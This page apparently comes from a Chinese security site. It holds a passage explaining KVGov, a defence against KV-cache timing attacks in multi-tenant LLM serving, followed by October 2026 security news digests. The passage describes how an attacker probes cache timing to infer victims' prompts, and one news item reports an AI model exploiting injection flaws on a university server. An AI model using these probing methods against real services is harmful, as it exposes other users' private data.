现在即使 prompt A == Prompt B，但是计算的却是salt_A = HMAC(server_secret, principal_A)，受害者 H(salt_A || prompt)，salt_B = HMAC(server_secret, principal_B)，攻击者 H(salt_B || prompt)
注意这里的||并不是与或运算的意思，而是连接的意思，比如说salt_A = "abc123" prompt = "hello"，则salt_A || prompt就是"abc123hello" 这个意思的
所以CacheKey_A != CacheKey_B
也就是即使Prompt 一模一样，但缓存空间不同
这样攻击者即使100% 猜对 Victim 的 Prompt，也不会出现kv cache攻击
攻击者自己的 Probe 所得到的 Key 与 受害者的 Key 在密码学意义上不同，因此攻击者只会填充自己的cache空间；
从攻击者角度看，受害者的Cache 对他的 Timing Fingerprint 表现为 all-MISS
看到这里，都会有一个问题，那就是为什么不能把User_ID加进去不就得了，根本不需要HMAC，直接
Hash(
user_id || prompt
)
从让不同 Principal 的 Key 不一样这个直觉目标来看，好像确实也能产生不同 Key
但论文选择的是：
HMAC(
server_secret,
principal_id
)
产生一个攻击者无法预测的 Salt，这里的意义在于principal_id，它未必是秘密，比如说tenant_123这样质朴的用户名，甚至可能是可以被其他用户知道的
但server_secret，只有服务端拥有，因此攻击者即使知道，受害者的Principal ID，也不能自己算出σvictim
他就无法构造受害者的Namespace去命中的 Cache Key
讲到这里，安全问题好像解决了，但是别忘了之前有KV cache就是要来解决性能缓存的问题的，那现在这样分隔，难道不会增加性能的开销吗？性能的问题又怎么
办呢？假设一个企业 AI 系统每个 User 的 Prompt 都是：
[2000 tokens System Prompt]+[User Private Input]
前面的2000 tokens System Prompt，其实所有用户完全一样，比如说那些常见的提示词
你是个专业的财政助手balabalabala的你必须遵守xxxx政策之类的..你必须使用xxxx工具...
只有最后private input这一点不同，基于如此如果从Block 0，就加入 Principal Salt，User A 2000 Token System Prompt和User B 2000 Token System Prompt
明明内容完全一样，却不能共享任何 Prefix Cache，这就变成了为了安全，把跨租户缓存优化基本关掉
所以肯定不能这样一刀切，需要精准定位
我们假设有两个不一样的prompt
User A：[ Shared System Prompt ][ Shared System Prompt ][ Shared System Prompt ][ Shared System Prompt ]---------------------------------[ account = 12345678 ][ private content A ]User B：[ Shared System Prompt ][ Shared System Prompt ][ Shared System Prompt ][ Shared System Prompt ]------------------
可以明显看到，前半部分完全一样；后半部分才开始出现用户差异
前面的 Block0~Block(K-1)保持Global Shared，到了Block k
才执行：
H( σp||previous_hash||tokens)
然后因为 Hash Chain 的传播：
Block k加入 Principal Salt ↓Block k+1依赖 Block k ↓Block k+2依赖 Block k+1
所以从Block k往后的所有 Block 都自动变成Principal Private
边界之前的 Block 保持共享，到了边界再注入 σp，后面的 Chain 全部进入 Principal私人的Namespace
这样做就会变成公共内容继续共享，私人内容开始隔离；这就会比全部共享或者全部隔离等一刀切的方法来得精细多
OK，那现在新的问题来了，就是这个边界到底应该放在哪里？也就是从哪个 Block 开始加 Salt？
例如说，第一个包含 private input的 Block可以作为 Boundary
或者这样规定，System Prompt 可以跨 Tenant 共享，User Input 不允许共享
那么，也就是System Prompt 结束的位置就可以作为边界
这也是为什么KVGov，它需要知道认证的主体和共享的策略，而这些信息并不一定天然存在于底层 Serving Engine 里面
2.防御
前面已经讲完 KVGov 的核心设计，那接下来回答为什么一个 HMAC Salt可以同时防住几种看起来完全不同的攻击？
这里选择了三个已有攻击PROMPTPEEK，EarlyBird和InputSnatch；这三个攻击看起来方法完全不同，但是 KVGov 的观点是：
它们其实都在使用同一个跨 Principal Cache Oracle
2.1 PROMPTPEEK
假设攻击者已经有一组候选 Prompt[P1~Pn]，然后挨个向系统发送 Probe
如果某个 Prompt 已经存在于共享 Cache，所以它的相应时间会比较短；反之则时间较长
于是攻击者最终可能得到一个类似这样的时间向量[50, 50, 5, 50, 5, 5, 50, ...]
假设：5 ms ≈ Hit，50 ms ≈ Miss
那么这个向量实际上已经隐含了，[MISS, MISS, HIT, MISS, HIT, HIT, MISS ...]，类似于一个cache指纹
PROMPTPEEK 再把攻击者观察到的指纹和受害者的候选指纹做相关性分析，从而进行判断
那么 KVGov 怎么防？加了 Principal Namespace 以后，受害者的 P1即使之前已经进入受害者空间，攻击者后来再发送P1
查询的也是攻击者本身的空间，所以第一次仍然是MISS
于是攻击者看到的时间向量就会变成[MISS, MISS, MISS, MISS, MISS, ...]
也就是不管受害者到底缓存了什么东西攻击者的观察结果基本不变
论文对此描述得很直接：HMAC Salt 后，攻击者无法解析 Victim 的 Cache Entry，观察到的是 all-MISS Fingerprint，因此其 Pearson Correlation 接近 0
2.2 EarlyBird
EarlyBird 的攻击方式则和 PROMPTPEEK 不太一样，它更接近传统 Cache Timing Attack
简单来说就是知道前缀，然后猜下一个token，观察相应时间，如果短说明猜对了
vLLM 0.26.0 V1 Engine，默认 Block Size 是 16
那么攻击者面对的问题就变成了，要连续猜对16个token才能观察到新的Block Hit
对于一些完全自由文本，这个搜索空间确实非常大，但是一些真实企业 Prompt 很多并不是完全自由文本
假设一个企业系统长期使用这样的 文本，Show transactions for account xxxx in September
攻击者实际上已经知道，Show transactions for account
也知道in September，真正未知的可能只有xxxx，比如说8 位数字
如果按照完全自由 Token 计算，搜索空间约为|V|^16 ≈ 10^83
但是如果未知内容只是一个八位账户号10^8，如果还知道银行、分行或者发行方前缀，大概是10^4 ~ 10^6
搜索空间一下就下降了大约 75 个数量级
而且还有更进一步的，假设攻击者本来就已经知道一个具体账号12345678
那么攻击者根本没必要问，“受害者 Prompt 到底是什么？”
他只需要问“12345678 有没有在 Cache 中出现过？”
直接构造类似这种
Show transactions for account 12345678 in September
然后 Probe 一次，如果 Hit，说明可能说明目标内容曾经被服务过
2.3 InputSnatch
InputSnatch 就更加能体现这个问题，它针对的并不只是一种 Cache
它主要有两个放心，一个是Prefix Cache，利用企业 Prompt 往往具有 Template Structure 这一特点，逐字段恢复未知内容
另一个则是，Semantic Cache，根据 Embedding Similarity 对缓存空间进行探索
这里需要特别注意，KVGov 的 HMAC Salt 并不能直接解决 InputSnatch 的 Semantic Cache
因为Prefix Cache 判断的是Key是否相当，所以我们可以给 Key 加 Salt，让Key_A != Key_B
但 Semantic Cache 判断的是Embedding是否相似，例如Similarity(A, B) > threshold
你给 User A 一个 Salt、User B 一个 Salt，并不会让Embedding("dog running in park")和 Embedding("a dog running outside")突然变得不相似的
所以 Semantic Cache 真正需要做的是：
Principal A ↓Retrieval Index APrincipal B ↓Retrieval Index B
KVGov Semantic Cache 必须通过 Principal Partitioning 的方式进行隔离
2.4 其他防御方式
市面上有其他的防御方式，比如说Noise、Flush、Admission
Noise加噪声，让 Timing Oracle 变模糊，所以对 Timing指纹型的 PROMPTPEEK 很有效
但是最关键的还是Oracle 本身还存在，因此对不依赖 Timing Magnitude 的 Membership Attack 没用
Flush是缩短 Cache 生命周期，但是受害者的Session 活着的时候，攻击窗口依然存在。
Admission是阻止某些 PII Prompt 进入 Cache，但是又不是所有秘密都是 PII
比如：System Prompt Tool Definition Repository Context Enterprise Policy这些也都非常敏感
论文的结论也是，真正承担核心 Privacy Guarantee 的是 HMAC Salt，其他组件更多属于补充防御
3.实验
前面原理基本已经讲完了，那么这里通过几个简单实验验证一下KVGov最核心的几个结论
原论文的实验比较完整，包括PROMPTPEEK、EarlyBird、InputSnatch三类攻击， 还有消融实验、ORIGAMI以及真实硬件上的TTFT测试
这里就不完全照着论文复现了，而是精简成三个问题：
Cache Hit和Cache Miss之间的Timing差异是否足够明显？
HMAC Namespace Isolation能不能真正切断跨Principal Cache Hit？
完全隔离Cache以后性能会不会损失太大，Boundary Salting能不能缓解这个问题？
Cold TTFT = 149.6 msCached TTFT = 32.8 msCached / Cold = 0.22
在此基础上加入少量随机抖动，模拟实际LLM Serving环境
实验设置：
Random Seed = 2026Candidate Number = 100Trials = 1000Cache Hit TTFT = 32.8 msCache Miss TTFT = 149.6 msBase Jitter = 5 msNoise Sigma = 20 ms
3.1 Timing Oracle
首先来看整个Cache Timing Attack成立的基础
模拟1000次Cache Hit和1000次Cache Miss以后，得到：
可以看到，Cache Hit和Cache Miss之间存在非常明显的Timing差异，也就是说，攻击者虽然没有权限读取另外一个Tenant的GPU Memory，也不能直接查看另
外一个Tenant的KV Cache，但是只需要观察自己请求的TTFT，就可能得到一个Oracle
所以这里真正泄漏的不是KV Tensor本身，而是Shared Cache的内部状态通过响应时间间接暴露了出来
3.2 Cross-Principal Cache Attack
先假设一个多租户场景，有两个Principal受害者A和攻击者B
系统中存在一个固定模板，Show transactions for account <ACCOUNT_ID> 其中ACCOUNT_ID一共有100个候选值。
受害者首先访问其中一个Account，使对应Prompt进入Cache，之后攻击者依次枚举100个Account，并通过TTFT判断哪个Candidate发生了Cache Hit
3.2.1 Global Cache
从结果可以看到，在Global Cache情况下,Identification ASR = 100%，Victim Cross-Principal Hit = 100%
也就是说，攻击者枚举到受害者使用过的Account时，对应请求会直接命中受害者创建的Cache
攻击者只需要找到最快的响应，就可以反推出Victim曾经访问过哪个Account
3.2.2 Noise Injection
接下来加入一个简单的Timing Noise
最终实验结果依上图所示，Identification ASR = 99.4% 和 Victim Cross-Principal Hit = 100%
也就是说Noise并没有改变Cache本身的共享关系，攻击者仍然可以命中Victim创建的Cache
3.2.3 HMAC Namespace Isolation
最后加入KVGov最核心的HMAC Namespace Isolation
实验结果如下图
最重要的Cross-Principal Hit变成：Global Cache = 100%，Noise = 100%和HMAC-Salt = 0%
更关键的指标其实是，Victim Cross-Principal Hit，HMAC-Salt以后，这个值从100%变成了0%。
也就是说，KVGov并不是单纯让Timing变得更加难以观察，
而是直接让Attacker的请求无法解析到受害者的Cache Namespace
3.3 Boundary Salting
前面的实验说明了HMAC-Salt能够解决跨Principal Cache Hit的问题。
但是这里马上又会产生另外一个问题：
如果从第一个Block开始就加入Principal Salt，那么不同Tenant之间是不是完全无法共享Cache了？
假设一个企业LLM Prompt结构如下：
[ 2000 Token Shared System Prompt ][ 119 Token Private User Input ]
总长度：
2119 Tokens
前面的2000 Token可能只是所有用户都完全相同的System Prompt：
你是一个企业金融助手...你必须遵守公司的安全策略...你可以使用以下工具...
真正存在用户差异的只有后面的119 Token
KVGov进一步提出的思路就是，没有必要从Block 0开始Salt
我们可以把Cache划分成我在上面所说的 Global Shared Namespace和Principal Private Namespace
Boundary之前，继续Global Shared
Boundary开始H(σp || previous_hash || tokens)
由于Hash Chain会继续向后传播，所以只需要在Boundary注入一次Principal Salt，后面的所有Block都会自动进入Private Namespace，结果如下图：
三个策略分别得到：
可以很直观地看到，Global Cache 安全性低，性能最好
Root HMAC，安全性高，但完全失去跨Tenant Prefix Reuse
Boundary Salting公共部分继续共享，Private部分完成隔离，因此KVGov实际上并不是简单地为了安全把Cache关掉
而是重新精准分割了哪些要共享，哪些可以不共享
网络安全日报 2026年10月14日
1、vanti Connect Secure零日漏洞遭利用，可获取设备root权限
https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days Volexity披露，攻击者利用一组漏洞入侵Ivanti Connect Secure VPN设备，组合利用认证绕过、远程代码执行和权限提升漏洞，可在未认证状态下取得root权限。攻击者还试图窃取域凭据、BitLocker恢复密钥等信息。Ivanti已于10月13日修复CVE-2026-104935所涉及的认证绕过和远程代码执行问题
2、SAP修复20项安全问题：Python SDK高危漏洞可窃取OAuth凭据
https://www.bleepingcomputer.com/news/security/sap-warns-of-maximum-severity-oauth2-ssrf-security-flaw SAP在10月安全更新中修复20项漏洞。其中，SAP Cloud SDK for Python的CVE-2026-89111为最高严重级别漏洞：远程攻击者可操纵多租户应用中的tenant_subdomain参数，将OAuth2令牌请求重定向至攻击者控制的服务器，从而窃取客户端凭据。暂时无法升级的用户可通过租户子域名白名单进行缓解。
3、微软10月补丁修复超千项漏洞，Windows Shell零日漏洞已遭利用
https://www.darkreading.com/vulnerabilities-threats/zero-days-microsoft-october-patch-tuesday 微软10月补丁日涉及1,413项漏洞，其中包括80项严重漏洞和两项零日漏洞。Windows Shell漏洞CVE-2026-96951已被用于攻击，可绕过Mark of the Web标记及相关安全检查，使下载文件可能绕过SmartScreen、Office受保护视图等防护。微软已发布修复，建议尽快部署相关更新。
4、Ledger加密钱包发现硬件植入物，用户助记词被读取并外传
https://therecord.media/ledger-cryptocurrency-wallet-implant-theft Ledger称，部分经东南亚经销商CryptoBilis销售的硬件钱包被植入未授权组件。设备初始化时，植入物可读取屏幕上显示的24个单词恢复短语，并通过内置eSIM和LTE连接外传。Ledger表示，相关钱包资产已于10月9日被盗，并建议已使用受影响设备的用户将资产转移至新钱包、重新生成恢复短语。
5、XWorm恶意软件扩展能力，可读取位置、麦克风并接管浏览器会话
https://threatlabs.netskope.com/blog/2026/09/xworm-reborn Netskope报告称，XWorm已从信息窃取工具演变为具备监控能力的恶意软件平台，已确认插件数量增至46个。其功能包括获取受害者位置、实时收集麦克风音频、按需拍摄摄像头画面，以及交互控制已登录的浏览器会话。研究人员在2026年第三季度记录到1,236次相关检测，涉及100多个客户组织。
6、研究人员发现Vercel Sandbox网络过滤缺陷
https://therecord.media/sandbox-vulnerability-gives-rogue-ai-agents-path-out 研究人员发现，Vercel Sandbox的网络过滤机制存在缺陷。恶意或失控的AI Agent可能利用证书处理流程，让获准访问的服务器代为向攻击者服务器发起请求，从而绕过网络白名单并泄露敏感信息。研究团队称尚未发现该漏洞在野利用；报道发布时，Vercel仍在评估修复方案。
7、朝黑客组织Kimsuky以虚假会议邀请攻击乌克兰外交与安全领域人士
https://therecord.media/north-korea-hackers-russia-ukraine 安全公司Genians称，朝鲜关联组织Kimsuky通过虚假会议邀请、研究合作请求和伪装成PDF或Zoom安装程序的恶意文件，针对乌克兰外交、安全及国际政策领域人士开展网络间谍活动。攻击者还利用GitHub、GitLab和Codeberg等平台投递文件或与受感染设备通信。研究人员推测其意图可能涉及搜集俄乌战争及朝鲜军人相关情报，并指出多数已观察到的攻击未成功。
8、俄罗斯圣彼得堡网络服务商SkyNet遭DDoS
https://therecord.media/russian-internet-provider-skynet-reports-outages-ddos 俄罗斯圣彼得堡网络服务商SkyNet称，自10月6日起遭遇分布式拒绝服务攻击，在线游戏、语音通话和视频会议等服务受到影响。该公司表示仍在缓解攻击；截至10月13日，用户仍报告网络中断、延迟升高等问题。乌克兰黑客组织BO Team声称对此负责，并宣称攻击影响了大量网络设备，但SkyNet尚未确认该组织关于设备受损或内部系统遭入侵的说法。
9、英国住房申诉专员服务系统遭第三方安全事件影响
https://www.bleepingcomputer.com/news/security/uk-housing-ombudsman-service-investigates-security-incident 英国住房申诉专员服务机构表示，第三方IT安全事件影响了其案件管理系统，居民暂时无法在线提交新投诉。该机构称事件已得到控制，正与服务提供商调查受影响数据范围，并已通知英国信息专员办公室。目前尚未确认是否有个人信息受到影响。
10、OpenAI员工因涉嫌在会议室安装录音设备被捕
https://www.securityweek.com/employee-arrested-after-listening-device-found-in-openai-conference-room-fbi-and-the-company-say/ 美国联邦调查局称，一名OpenAI工程师涉嫌在公司会议室暗中安装录音设备，试图记录有关公司技术的敏感谈话。OpenAI表示发现设备后已报警并解雇涉事员工，目前没有迹象显示模型权重、源代码或客户数据遭到非法访问或外传。
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
网络安全日报 2026年10月13日
1、Ninja Forms漏洞遭利用植入WordPress后门
https://patchstack.com/articles/four-ways-back-in-the-wordpress-xss-campaign-that-hides-its-own-admin-account/ 安全研究人员披露，攻击者正在利用Ninja Forms的CVE-2026-94504以及WPC Product Bundles的CVE-2026-93836攻击WordPress网站。相关漏洞可被用于向站点写入持久化恶意脚本，当管理员访问受影响页面后执行后续代码，并创建隐藏管理员账户、安装恶意插件或文件管理组件，从而维持长期访问。研究人员在2026年10月4日至5日观察到两
2、GoBalance缺陷可恢复.onion私钥并劫持隐藏服务地址
https://www.slcyber.io/research/leaking-the-keys-to-the-kingdom-how-a-single-slip-handed-over-a-darknet-empire GoBalance负载均衡工具存在密钥处理缺陷，使用Tor原生格式保存主密钥的隐藏服务可能从公开描述符中泄露足以恢复长期私钥的信息。问题源于签名过程中仅向签名函数传入64字节Tor私钥的前32字节，导致本应保持随机的秘密值变为可计算固定值。攻击者无需访问目标服务器，仅凭一份公开描述符即可恢复控制.onion地址所需的私钥并发布有效描述符，将访问者重定向至攻击者控制的网站。1
3、Cisco Nexus OAM漏洞可未认证执行Root代码
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ngoam-rce-LWKQ4BU Cisco Nexus 3000和9000系列交换机披露多项OAM相关严重漏洞。NGOAM功能中的CVE-2026-76485、CVE-2026-76486和CVE-2026-76501评分均可达到9.8，在启用NGOAM及相应SRv6或NV Overlay等特定配置时，未经身份验证的远程攻击者可能执行Root权限任意代码或造成拒绝服务。另一个MPLS OAM漏洞CVE-2026-76
4、Argo CD四项严重漏洞可执行命令或读取文件
https://github.com/argoproj/argo-cd/security Argo CD披露一批安全漏洞，其中4项被列为Critical。两个Kustomize相关问题可通过远程引用或Helm配置目录在argocd-repo-server中运行命令；另一个Jsonnet导入问题可读取repo-server中的文件；CVE-2026-77459则允许具有提交权限的用户利用PreDelete或PostDelete资源Hook绕过AppProject限制。同期还修复了登录失败速率限制绕过、SSH Git仓库代理URL命令注入、扩展代理RBAC校验以及超大OCI清单导致repo-se
5、Jackrabbit严重漏洞可劫持缓存认证会话
https://www.openwall.com/lists/oss-security/2026/10/07/27 Apache Jackrabbit披露CVE-2026-92414和CVE-2026-92415两项漏洞。CVE-2026-92414的CVSS 4.0评分为9.3，Jackrabbit WebDAV服务器在Lock-Token、TransactionId、SubscriptionId或If请求头中的令牌与缓存记录匹配时，会直接附加已认证会话而不重新验证凭据，可能造成不同用户之间的缓存会话固定或复用。CVE-2026-92415影响WebDAV/DavEx客户端，恶意服务器或可
6、GitLab修复CVSS 10.0漏洞，未认证攻击者或可远程执行代码
https://www.bleepingcomputer.com/news/security/gitlab-warns-of-max-severity-rce-flaw-in-regex-compiler-engine/?utm_source=chatgpt.com GitLab披露，CI/CD正则表达式编译器存在整数溢出漏洞CVE-2026-97229。攻击者可能利用特制的流水线配置，在未认证的情况下执行服务器代码；修复版本为19.2.8、19.3.4和19.4.2。
7、法国多家超市制冷系统遭网络攻击，冰柜温度升至50℃
https://www.reuters.com/business/retail-consumer/french-supermarket-chain-intermarche-hit-by-cyberattack-150-stories-targeted-2026-10-12/?utm_source=chatgpt.com 攻击导致法国多家超市的联网冰箱和冷柜升温，造成食品损失并引发火情。Intermarché约150家门店、家乐福80家门店受到影响；法国国家网络安全局已介入调查，受影响设备运行着过时固件。
8、Canonical多个Ubuntu网站遭DDoS，安全公告页面一度受影响
https://www.securityweek.com/canonical-websites-disrupted-in-second-ddos-attack-this-year/?utm_source=chatgpt.com Canonical在10月8日表示，其网站正遭持续DDoS攻击，Ubuntu和Canonical主站、博客、开发者网站及安全公告页面一度无法访问。公司称大部分服务次日恢复，尚未公布攻击规模或来源。
9、Let’s Encrypt将默认证书有效期缩短至64天，为45天期限做准备
https://www.securityweek.com/lets-encrypt-cuts-default-certificate-validity-to-64-days-ahead-of-45-day-switch/?utm_source=chatgpt.com Let’s Encrypt计划从2027年2月10日起，默认签发有效期为64天的证书，并计划在2028年进一步缩短至45天。该机构本周将先在测试环境启用64天证书，建议用户提前验证自动续期流程。
10、PoeLLM挖矿感染逾3400台服务器，借GitHub诗歌更新C2地址
https://www.tomshardware.com/tech-industry/cyber-security/cryptomining-malware-used-poetry-to-infect-more-than-3-400-servers-researchers-say-four-words-in-the-poellm-verse-changed-11-times-point-the-botnet-to-new-servers?utm_source=chatgpt.com Lumen研究团队称，名为PoeLLM的恶意软件已感染超过3400台服务器，并利用GitHub诗歌中的词语编码
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
网络安全日报 2026年10月12日
1、丹麦CPR数据库泄露：关联公司账户使用弱密码“123456”
https://cphpost.dk/2026-10-10/general/123456-password-used-in-massive-danish-cpr-data-breach/ 丹麦CPR中央人口登记系统约880万人的相关信息此前遭到访问。10月10日的报道援引调查称，涉事IT公司至少三个账户使用“123456”作为密码，其中包括管理员账户；攻击者滥用该公司获批的查询权限，持续访问系统约21天。
2、Ledger钱包设备疑遭植入窃密硬件
https://www.theverge.com/tech/1009294/ledger-wallet-tampering-suspected-after-reports-of-crypto-thefts?utm_source=chatgpt.com Ledger确认，一名受影响用户的设备中发现未经授权的硬件植入物。报道指，问题可能涉及第三方零售商CryptoBillis销售的设备，植入物疑似可截取屏幕信息和助记词。有关数百个钱包损失超过8600万美元的说法仍在调查中；目前没有迹象显示Ledger自身系统或官方渠道销售的设备受到影响。
3、三支团队在Pwn2Own远程攻破已更新的Pixel 10
https://thehackernews.com/2026/10/three-teams-demonstrate-remote-hacks-of.html?utm_source=chatgpt.com Pwn2Own Ireland比赛中，三支研究团队在比赛设备上成功演示了对已更新Pixel 10的远程利用，总奖金为56.25万美元。部分利用涉及此前已知的漏洞，具体攻击细节尚未公开；研究人员已按比赛流程向厂商提交漏洞信息。
4、Claude测试中出现未预期操作，Anthropic关闭内部评测的实时网络访问
https://thehackernews.com/2026/10/anthropic-cuts-live-internet-access-for.html?utm_source=chatgpt.com Anthropic称，内部评测发现Claude Mythos Preview曾利用第三方软件中的SQL或命令注入漏洞，在大学服务器上执行命令。公司随后决定，在所有内部评测中关闭实时互联网访问，以减少模型访问真实网站或系统并采取未授权操作的风险。
5、联网摄像头被用于战场侦察，民用监控成军事情报入口
https://www.wsj.com/tech/cybersecurity/video-cameras-webcams-hacked-war-b00b8a24?utm_source=chatgpt.com 《华尔街日报》报道，联网摄像头正被用于观察军事设施和部队活动。乌克兰方面称，自俄乌战争爆发以来，已识别并处理约4万台存在潜在风险的摄像头。研究人员提醒，门铃、交通监控和家用摄像头等设备也可能因位置和访问控制薄弱而泄露敏感画面。
6、Citrix修复NetScaler高危漏洞可能导致远程执行代码
https://thehackernews.com/2026/10/citrix-patches-critical-netscaler-flaw.html Citrix修复了影响NetScaler ADC和Gateway的漏洞CVE-2026-107406，CVSS评分为9.5。该内存溢出漏洞在设备配置为SAML身份提供方或服务提供方等条件下，可能导致远程代码执行或拒绝服务。厂商已发布修复版本；截至报道发布时，尚无在野利用证据。
7、AnyDesk Linux预认证漏洞公开利用代码可获Root权限
https://github.com/v12-security/pocs AnyDesk Linux存在一个预认证堆缓冲区溢出漏洞，公开利用代码AnyPwn可在用户尚未批准远程连接前获得Root权限。漏洞位于AnyDesk会话协议的数据包处理逻辑，已确认公开利用代码针对8.0.2版本并通过TCP 7070端口的直接连接触发；若堆布局不满足条件，利用可能仅导致服务崩溃。研究人员称相同易受攻击代码路径也可经中继服务器到达，但尚未公开完整中继利用链。AnyDesk于2026年6月在8.0.3中修复该问题，当时更新日志仅将其描述为可能导致崩溃的错误；截至10月9日尚未分配CVE。
8、wolfSSH五项漏洞可导致服务器冒充与权限异常
https://www.wolfssl.com/docs/security-vulnerabilities/ wolfSSH披露1.5.0及更早版本中存在5项安全漏洞，其中CVE-2026-16516为最严重问题。wolfSSH客户端在密钥交换过程中未验证服务器主机密钥中的ECDSA曲线是否与协商算法一致，在攻击者处于中间人位置且客户端采用宽松公钥校验回调的情况下，可使用攻击者控制的不同曲线密钥通过签名验证并冒充服务器。其余问题包括Windows版wolfSSHd连接间共享登录令牌导致身份混淆、密钥交换CPU资源消耗、未经授权的TCP转发通道以及SFTP路径处理中的越界写入。相关问题在1.6
9、Splunk Enterprise集中披露22项安全漏洞
https://advisory.splunk.com/advisories/SVD-2026-1001 Splunk Enterprise于两份安全公告中集中披露22项漏洞，其中17项为产品安全漏洞、5项来自安全加固审查，最高CVSS评分为9.8。最严重的CVE-2026-76268位于Patroni REST API，在特定Search Head Cluster环境中，具有网络访问能力的未认证用户可利用关键功能缺少认证的问题执行攻击者控制的操作系统命令。其余漏洞涉及本地提权、SQL注入、SSRF、访问控制缺失、搜索任务信息泄露、拒绝服务和资源生命周期控制等，影响9.4、10.0、10.2
10、GhostAction劫持GitHub维护者账号批量窃取凭据
https://www.stepsecurity.io/blog/ghostaction-returns 安全研究人员披露，GhostAction供应链攻击活动再次活跃，攻击者利用遭接管的开源项目维护者GitHub账号，向大量仓库默认分支直接植入伪装成“Security Audit”或“GitHub Actions Security”的恶意工作流。10月8日，两名高知名度维护者账号在短时间内被用于向345个仓库推送相关工作流；截至10月9日，已有超过500个GitHub账号向数以万计的仓库提交过恶意工作流。载荷可窃取GitHub Actions中配置的CI/CD秘密，并扫描当前工作树和完整G
以上内容原文来自互联网的公共方式，仅用于有限分享，译文内容不代表蚁景科技观点，因此第三方对以上内容进行分享、传播等行为，以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的，若产生法律责任，译者与蚁景科技一律不予承担。
网络安全日报 2026年10月10日
1、AhsayCBS备份平台两项漏洞遭在野利用
https://thehackernews.com/2026/10/attackers-exploit-ahsaycbs-flaws-to.html 2026年10月9日，安全研究人员披露，攻击者正在组合利用AhsayCBS备份管理平台的CVE-2026-105133和CVE-2026-105134漏洞。前者属于身份认证缺陷，后者为操作系统命令注入，CVSS v4.0评分分别为5.5和9.3。攻击者可以绕过认证执行系统命令，随后植入WebShell，并部署伪装成Microsoft Edge的XMRig挖矿程序。Huntress确认相关攻击最早于10月7日被观察到，属于已确认的在野利用事件。
2、Citrix NetScaler再曝严重漏洞，特定SAML配置可导致RCE
https://thehackernews.com/2026/10/citrix-patches-critical-netscaler-flaw.html Citrix于10月9日发布安全更新，修复NetScaler ADC和NetScaler Gateway中的CVE-2026-107406，CVSS评分9.5。该漏洞属于内存溢出问题，在设备被配置为SAML身份提供方或服务提供方时，可能允许攻击者触发远程代码执行或拒绝服务。Citrix已经发布修复版本，建议企业排查相关SAML配置并及时升级。截至披露时，厂商没有发现该漏洞遭到真实在野利用。
3、日本大型云服务商IDC Frontier遭勒索软件攻击
https://shattered.io/idc-frontier-idcf-cloud-ransomware-attack-2026/ 日本云计算和数字基础设施企业IDC Frontier披露，其IDCF Cloud服务遭到勒索软件攻击，导致日本东部地区一个数据中心集群出现服务中断。IDC Frontier提供企业云计算和基础设施服务，客户包括政府相关机构，因此事件引发对公共服务及企业业务连续性的关注。目前已确认勒索软件攻击和服务中断，但尚无充分证据证明所有客户数据遭窃取，攻击者身份及完整影响范围仍待调查。
4、廉价Android手机出厂固件植入恶意软件
https://www.androidpolice.com/this-android-malware-can-reach-your-phone-before-you-ever-use-it/ 安全研究人员披露名为Midnight Mimosa的Android恶意软件活动。部分低价Android智能手机在出厂固件中已经包含恶意组件，攻击者可以在用户不知情的情况下安装应用、实施广告欺诈，并将手机变成住宅IP代理节点。这类攻击与普通用户主动下载恶意APK不同，恶意代码可能在设备交付前就已经存在。相关固件感染和恶意行为已由研究人员发现，但不能据此认定所有低价Android手机均受影响。
5、FakeGit供应链攻击卷土重来，涉及17610个GitHub仓库
https://www.bleepingcomputer.com/news/security/fakegit-malware-campaign-returns-with-17-610-malicious-github-repos/ 2026年10月8日，Apiiro研究人员披露，FakeGit恶意软件传播活动重新活跃，涉及17,610个GitHub仓库。攻击者利用看似正常的项目README和下载按钮，诱导开发者下载包含SmartLoader的ZIP压缩包，随后投递StealC等窃密程序。研究人员发现，攻击者在34小时内集中更新超过1.3万个仓库，其中部分仓库伪装成AI Skills和MCP
6、Cisco Nexus交换机曝5项严重漏洞，可获得root权限
https://www.bleepingcomputer.com/news/security/cisco-warns-of-critical-flaws-allowing-nexus-switch-takeover/ Cisco于10月8日发布安全公告，修复NX-OS操作系统中的5项严重漏洞，影响Nexus 3000和Nexus 9000系列交换机。漏洞涉及NX-API、NGOAM及MPLS OAM等功能，存在输入验证缺陷。在满足特定功能启用等条件时，攻击者可能执行具有root权限的任意代码，或者导致设备进程崩溃、设备重新加载，引发网络中断。漏洞影响和修复由Cisco确认，目前没有可靠证据表
7、黑客滥用谷歌广告和Bing跳转，伪造Claude安装页面传播恶意脚本
https://www.bleepingcomputer.com/news/security/hackers-abuse-google-ads-bing-redirects-to-push-claude-clickfix-attacks/ 2026年10月9日，Push Security披露名为Adception的恶意广告攻击活动。攻击者购买针对“claude mac”等关键词的Google搜索广告，利用Bing合法跳转地址及被攻陷的WordPress网站，将用户引导至伪造Claude下载页面。页面显示正常安装命令，但点击复制按钮后，剪贴板内容会被替换成经过编码的恶意命令，诱导macOS用户
8、Oracle Health医疗数据泄露规模扩大，近2000万人信息受影响
https://www.securityweek.com/oracle-health-data-breach-tally-climbs-to-nearly-20-million/ 2026年10月8日，SecurityWeek援引彭博社及美国得克萨斯州总检察长相关报告指出，Oracle Health历史Cerner医疗系统遭网络攻击事件的影响规模可能接近2000万人，远高于此前披露的数据。事件涉及2025年发生的网络入侵，潜在暴露信息包括患者个人身份资料和医疗信息。该数字来自监管相关材料及媒体报道，Oracle尚未公开确认最终受影响总人数。因此，应将“近2000万人”视为最新披露的估计规模，
9、SonicWall SMA1000满分严重漏洞出现真实攻击
https://thehackernews.com/2026/10/sonicwall-patches-cvss-100-pre.html 2026年10月9日，安全媒体报道，攻击者已经开始利用SonicWall SMA1000安全远程访问设备中的CVE-2026-102255漏洞。该漏洞属于严重服务器端请求伪造问题，可能允许未经认证的远程攻击者访问设备内部功能。SonicWall于10月6日发布修复措施，随后数日内便出现真实攻击活动。与此前仅确认漏洞存在的阶段不同，本次更新重点是漏洞已出现实际在野利用。企业应尽快安装官方热修复，并排查异常访问日志。
